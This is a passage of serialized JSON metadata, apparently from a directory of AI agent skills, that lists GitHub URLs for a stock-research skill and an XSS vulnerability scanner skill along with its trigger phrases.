Codex).","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fxvary-stock-research\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fxvary-stock-research\u002FSKILL.md",[],[],{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":81,"licenseFileUrl":6,"sourceHtmlUrl":118,"categories":119,"keywords":120,"publishedAt":20},"01M79AHCYJ9FV9RMHQ24HDRN33","xss-vulnerability-scanner","Scan xss vulnerability scanner operations. Auto-activating skill for Security Fundamentals.\nTriggers on: xss vulnerability scanner, xss vulnerability scanner\nPart of the Security Fundamentals skill category. Use when working with xss vulnerability scanner functionality. Trigger with phrases like \"xss vulnerability scanner\", \"xss scanner\", \"xss\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fxss-vulnerability-scanner\u002FSKILL.md",[],[]]